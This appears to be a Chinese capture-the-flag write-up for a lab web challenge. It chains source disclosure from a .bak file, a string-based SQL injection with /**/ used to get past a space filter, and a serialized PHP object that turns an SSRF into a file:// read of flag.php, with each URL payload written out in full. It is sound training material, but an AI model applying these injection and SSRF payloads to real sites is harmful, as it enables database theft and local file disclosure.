Subject
SQL Injection
SSRF
PHP 代码审计
Mind Palace
查看 /robots.txt
发现不被爬虫访问的文件 /user.php.bak
访问文件获得 bak 后缀的代码
审计 PHP 代码:[Reference]
用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。
在网页中注册一个用户,登录再进入用户界面的时候,猜测有注入点:
==> 字符型
order by 1->5--
在 5 的时候报错,说明有 SQL 语句中有 4 列数据
有 WAF 存在;fuzz一下 --> union 和 select 单独都是没有被过滤的;猜测是对空格进行了过滤 ==> 尝试使用 /**/ or +
去替换空格 --> /**/
是有效的
找到注入点:
http://7d0f0d11-18a5-40a4-93bc-72fc57c82757.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/111,(select/**/group_concat(table_name)/**/from information_schema.tables/**/where/**/table_schema='fakebook'),333,444--
==> table_name: users
http://7d0f0d11-18a5-40a4-93bc-72fc57c82757.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/111,(select/**/group_concat(column_name)/**/from information_schema.columns/**/where/**/table_name='users'),333,444--
==> column_names: no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
进一步查看data中的数据:
http://7d0f0d11-18a5-40a4-93bc-72fc57c82757.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/111,(select/**/group_concat(data)/**/from/**/users),333,444--
==>
UserInfo:
name: w
age: 1
blog: http://111.com
看出对用户注册时填写的 name age blog_addr 进行序列化 ==>
利用的变量在构造函数中,反序列化对象会自动执行构造函数 ==> 将需要构造的 SSRF 放在 blog 属性中,让其在反序列化时被调用 ==> (id, username, age, blog ) blog 属性在第四位
<?php
class UserInfo{
public $name = "e";
public $age = 18;
public $blog = "file:///var/www/html/flag.php";
}
$obj = new UserInfo();
echo serialize($obj);
?>
payload:
view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"e";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27--
base64 解码后获得 flag
Look Ahead
- 查看 robots.txt 获得 PHP 源码,代码审计发现存在可利用的 SSRF
- 查看用户的页面发现字符型 SQL 注入,发现 data 数据是序列化的,并且后台有反序列的过程
- 结合利用 SQL Injection with bypass + Unserialize + SSRF 获取 flag.php
END ψ(`∇´)ψ